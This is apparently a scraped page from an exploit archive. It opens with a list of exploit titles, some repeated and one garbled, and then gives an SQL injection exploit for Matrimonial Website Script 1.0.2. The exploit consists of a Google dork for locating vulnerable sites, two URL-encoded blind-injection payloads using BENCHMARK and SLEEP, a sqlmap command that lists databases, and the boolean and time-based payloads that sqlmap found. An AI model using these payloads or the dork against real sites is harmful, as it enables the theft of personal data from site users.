12047d93f1
9 new exploits Slackware Linux 3.5 - /etc/group Missing Privilege Escalation Slackware Linux 3.5 - Missing /etc/group Privilege Escalation Matrimonial Website Script 1.0.2 - SQL Injection Metasploit Web UI - Diagnostic Console Command Execution Kerio Control Unified Threat Management 9.1.0 build 1087_ 9.1.1 build 1324 - Multiple Vulnerabilities Joomla Component Huge-IT Video Gallery 1.0.9 - SQL Injection Exponent CMS 2.3.9 - Blind SQL Injection JCraft/JSch Java Secure Channel 0.1.53 - Recursive sftp-get Directory Traversal AnyDesk 2.5.0 - Unquoted Service Path Privilege Escalation Kerberos in Microsoft Windows - Security Feature Bypass (MS16-101) phpWebSite 0.10.2 - PHPWS_SOURemote Code Execution_DIR Parameter Multiple Remote File Inclusion phpWebSite 0.10.2 - 'PHPWS_SOURCE_DIR' Parameter Multiple Remote File Inclusion Multiple WordPress Plugins (Using TimThumb 2.8.13 / WordThumb 1.07) - 'WebShot' Remote Code Execution Multiple WordPress Plugins (TimThumb 2.8.13 / WordThumb 1.07) - 'WebShot' Remote Code Execution Microix Timesheet Module - SQL Injection Kaltura Community Edition <=11.1.0-2 - Multiple Vulnerabilities Kaltura Community Edition <= 11.1.0-2 - Multiple Vulnerabilities
48 lines
1.6 KiB
Text
Executable file
48 lines
1.6 KiB
Text
Executable file
######################
|
|
# Application Name : Matrimonial Website Script v1.0.2
|
|
|
|
# Google Dork : inurl:viewfullprofile1.php?id=
|
|
|
|
# Exploit Author : Cyber Warrior | Bug Researchers Group | N4TuraL
|
|
|
|
# Author Contact : https://twitter.com/byn4tural
|
|
|
|
# Vendor Homepage : http://www.i-netsolution.com/
|
|
|
|
# Vulnerable Type : SQL Injection
|
|
|
|
# Date : 2016-09-22
|
|
|
|
# Tested on : Windows 10 / Mozilla Firefox
|
|
# Linux / Mozilla Firefox
|
|
# Linux / sqlmap 1.0.6.28#dev
|
|
|
|
###################### SQL Injection Vulnerability ######################
|
|
|
|
# Location :
|
|
http://localhost/[path]/viewfullprofile1.php
|
|
|
|
######################
|
|
|
|
# PoC Exploit:
|
|
|
|
http://localhost/[path]/viewfullprofile1.php?id=MM57711%20and%20%2F*%2130000if%28exists%28select%20concat%280x7233646D3076335F73716C5F696E6A656374696F6E%2Ccount%28*%29%29%20from%20%3F%3F%3F.%E7%AE%A1%E7%90%86%E5%91%98%29%2CBENCHMARK%281161102%2C8%2CMD5%280x41%29%29%2C0%29*%2F
|
|
|
|
http://localhost/[path]/viewfullprofile1.php?id=MM57711%27%20AND%205860%3DIF%28%28ORD%28MID%28%28IFNULL%28CAST%28DATABASE%28%29%20AS%20CHAR%29%2C0x20%29%29%2C1%2C1%29%29%3E1%29%2CSLEEP%285%29%2C5860%29%20AND%20%27wvYf%27%3D%27wvYf
|
|
|
|
# Exploit Code via sqlmap:
|
|
|
|
sqlmap -u http://localhost/[path]/viewfullprofile1.php?id=MM57711 --dbs
|
|
|
|
Parameter: id (GET)
|
|
Type: boolean-based blind
|
|
Title: AND boolean-based blind - WHERE or HAVING clause
|
|
Payload: id=MM57711' AND 2424=2424 AND 'PgBT'='PgBT
|
|
|
|
Type: AND/OR time-based blind
|
|
Title: MySQL >= 5.0.12 AND time-based blind
|
|
Payload: id=MM57711' AND SLEEP(5) AND 'AgXd'='AgXd
|
|
---
|
|
|
|
######################
|
|
|